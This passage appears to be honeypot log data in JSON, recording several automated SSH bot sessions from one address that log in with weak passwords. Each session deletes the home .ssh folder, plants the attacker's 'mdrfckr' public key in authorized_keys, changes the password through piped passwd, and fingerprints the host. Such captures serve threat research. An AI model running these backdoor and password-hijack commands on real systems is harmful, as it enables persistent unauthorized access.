0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6514 free, 9373 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-27T05:01:33.816889+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-27T05:01:34.154633+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-27T05:01:34.460911+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-27T05:01:35.172712+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-27T05:01:35.483934+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-27T05:01:35.994461+00:00","kind":"output","latency_ms":null,"data":"jesus"},{"seq":31,"at":"2026-08-27T05:01:36.307507+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-27T05:01:37.481727+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-27T05:01:37.793769+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-27T05:01:39.165901+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"jesus","password":"jesus2025","method":"password","accepted":true,"tier":"other"}]} {"id":"687312d7-5371-4627-b413-0afbdc9bee06","name":"northern-solar-crane","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.86.177","src_port":37344,"username":"scraper","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":312,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T04:59:33.799633+00:00","ended_at":"2026-08-27T04:59:35.939965+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2254,"events":[{"seq":1,"at":"2026-08-27T04:59:11.636324+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T04:59:11.948152+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T04:59:15.404998+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T04:59:16.233203+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T04:59:16.548348+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123456\\n0gvN0LGiU7If\\n0gvN0LGiU7If\"|passwd|bash"},{"seq":6,"at":"2026-08-27T04:59:16.858611+00:00","kind":"input","latency_ms":null,"data":"echo \"123456\\n0gvN0LGiU7If\\n0gvN0LGiU7If\\n\"|passwd"},{"seq":7,"at":"2026-08-27T04:59:17.168608+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T04:59:18.019923+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T04:59:18.890326+00:00","kind":"output","latency_ms":null,"data":""},{"seq":10,"at":"2026-08-27T04:59:18.921876+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":11,"at":"2026-08-27T04:59:19.233740+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-27T04:59:20.522136+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T04:59:20.834041+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-27T04:59:22.328503+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-27T04:59:22.641692+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-27T04:59:24.088546+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-27T04:59:24.400890+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-27T04:59:26.592576+00:00","kind":"output","latency_ms":null,"data":" 04:59:26 up 7 days, 1:49, 0 user, load average: 0.23, 0.26, 0.24\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-27T04:59:26.903829+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-27T04:59:27.763539+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-27T04:59:28.077101+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-27T04:59:28.745564+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-27T04:59:29.056711+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-27T04:59:29.359330+00:00","kind":"output","latency_ms":null,"data":"top - 04:59:29 up 7 days, 1:49, 0 user, load average: 0.23, 0.26, 0.24\nTasks: 125 total, 1 running, 124 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7944 free, 7944 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-27T04:59:29.672835+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-27T04:59:30.033601+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-27T04:59:30.347530+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-27T04:59:31.064413+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-27T04:59:31.376516+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-27T04:59:31.919495+00:00","kind":"output","latency_ms":null,"data":"scraper"},{"seq":31,"at":"2026-08-27T04:59:32.230541+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-27T04:59:33.488128+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-27T04:59:33.800483+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-27T04:59:35.846752+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"scraper","password":"123456","method":"password","accepted":true,"tier":"other"}]} {"id":"78e0ea51-bf3d-4140-aef5-b3a337317951","name":"bashful-flinty-teal","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.86.177","src_port":54336,"username":"stack","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":318,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T04:57:35.146509+00:00","ended_at":"2026-08-27T04:57:36.073516+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2252,"events":[{"seq":1,"at":"2026-08-27T04:57:17.129064+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T04:57:17.444223+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T04:57:21.722276+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T04:57:21.989695+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T04:57:22.307773+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123456\\nEnTTi3YRyPsO\\nEnTTi3YRyPsO\"|passwd|bash"},{"seq":6,"at":"2026-08-27T04:57:22.624523+00:00","kind":"input","latency_ms":null,"data":"echo \"123456\\nEnTTi3YRyPsO\\nEnTTi3YRyPsO\\n\"|passwd"},{"seq":7,"at":"2026-08-27T04:57:22.939456+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T04:57:23.314462+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T04:57:23.631869+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T04:57:24.806382+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T04:57:25.125105+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T04:57:26.458282+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T04:57:26.776227+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T04:57:27.447114+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T04:57:27.767995+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T04:57:28.479409+00:00","kind":"output","latency_ms":null,"data":" 04:57:28 up 7 days, 1:47, 0 user, load average: 0.07, 0.06, 0.09\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T04:57:28.796355+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T04:57:29.235531+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T04:57:29.552406+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T04:57:29.930705+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T04:57:30.247995+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T04:57:30.729160+00:00","kind":"output","latency_ms":null,"data":"top - 04:57:30 up 7 days, 1:47, 0 user, load average: 0.07, 0.06, 0.09\nTasks: 126 total, 1 running, 125 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7149 free, 8738 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T04:57:31.044349+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T04:57:31.315558+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T04:57:31.631668+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T04:57:32.424356+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T04:57:32.748878+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T04:57:33.422483+00:00","kind":"output","latency_ms":null,"data":"stack"},{"seq":29,"at":"2026-08-27T04:57:33.742435+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T04:57:34.829544+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T04:57:35.147734+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T04:57:35.977915+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"stack","password":"123456","method":"password","accepted":true,"tier":"other"}]} {"id":"971a3b3e-d54d-467a-ac5b-7c6cfedfcf79","name":"ivory-sturdy-bushbaby","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.86.177","src_port":52080,"username":"mehdi","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":321,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T04:55:40.603586+00:00","ended_at":"2026-08-27T04:55:41.994966+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2248,"events":[{"seq":1,"at":"2026-08-27T04:55:21.825695+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T04:55:22.145172+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T04:55:25.833596+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T04:55:26.264959+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T04:55:26.598859+00:00","kind":"input","latency_ms":null,"data":"echo -e \"1234\\nNrQEdP44Egxb\\nNrQEdP44Egxb\"|passwd|bash"},{"seq":6,"at":"2026-08-27T04:55:26.917315+00:00","kind":"input","latency_ms":null,"data":"echo \"1234\\nNrQEdP44Egxb\\nNrQEdP44Egxb\\n\"|passwd"},{"seq":7,"at":"2026-08-27T04:55:27.236510+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T04:55:27.808284+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T04:55:28.132172+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T04:55:29.410180+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T04:55:29.732739+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T04:55:30.511602+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T04:55:30.840079+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T04:55:31.493961+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T04:55:31.814016+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T04:55:32.097425+00:00","kind":"output","latency_ms":null,"data":" 04:55:32 up 7 days, 1:45, 0 user, load average: 0.03, 0.03, 0.02\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T04:55:32.420380+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T04:55:33.257312+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T04:55:33.576874+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T04:55:34.413835+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T04:55:34.735907+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T04:55:35.258763+00:00","kind":"output","latency_ms":null,"data":"top - 04:55:35 up 7 days, 1:45, 0 user, load average: 0.03, 0.03, 0.02\nTasks: 107 total, 1 running, 106 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8261 free, 7626 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T04:55:35.579533+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T04:55:36.458785+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T04:55:36.780412+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T04:55:37.380628+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T04:55:37.701568+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T04:55:38.542531+00:00","kind":"output","latency_ms":null,"data":"mehdi"},{"seq":29,"at":"2026-08-27T04:55:38.863759+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T04:55:40.282311+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T04:55:40.604442+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T04:55:41.899582+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"mehdi","password":"1234","method":"password","accepted":true,"tier":"other"}]} {"id":"0625676f-e8b6-45ee-8c12-575b162587e3","name":"courtly-fringed-narwhal","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.86.177","src_port":39868,"username":"ftpuser","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":335,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T04:53:40.033002+00:00","ended_at":"2026-08-27T04:53:41.077618+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2255,"events":[{"seq":1,"at":"2026-08-27T04:53:21.504093+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T04:53:21.842118+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T04:53:26.276799+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T04:53:26.558056+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T04:53:26.902943+00:00","kind":"input","latency_ms":null,"data":"echo -e \"Password1234\\n9O9owPmEQk7H\\n9O9owPmEQk7H\"|passwd|bash"},{"seq":6,"at":"2026-08-27T04:53:27.237942+00:00","kind":"input","latency_ms":null,"data":"echo \"Password1234\\n9O9owPmEQk7H\\n9O9owPmEQk7H\\n\"|passwd"},{"seq":7,"at":"2026-08-27T04:53:27.572390+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T04:53:27.973597+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T04:53:28.309869+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T04:53:29.592060+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T04:53:29.942963+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T04:53:31.211728+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T04:53:31.549623+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T04:53:32.071556+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T04:53:32.405674+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T04:53:33.128611+00:00","kind":"output","latency_ms":null,"data":" 04:53:33 up 7 days, 1:43, 0 user, load average: 0.34, 0.36, 0.37\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T04:53:33.463518+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T04:53:34.050248+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T04:53:34.385298+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T04:53:35.188149+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T04:53:35.524106+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T04:53:36.067496+00:00","kind":"output","latency_ms":null,"data":"top - 04:53:36 up 7 days, 1:43, 0 user, load average: 0.34, 0.36, 0.37\nTasks: 118 total, 1 running, 117 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6355 free, 9532 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T04:53:36.403274+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T04:53:36.969876+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T04:53:37.310827+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T04:53:37.707734+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T04:53:38.044564+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T04:53:38.472218+00:00","kind":"output","latency_ms":null,"data":"ftpuser"},{"seq":29,"at":"2026-08-27T04:53:38.808103+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T04:53:39.699854+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T04:53:40.033780+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T04:53:40.974062+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"ftpuser","password":"Password1234","method":"password","accepted":true,"tier":"other"}]} 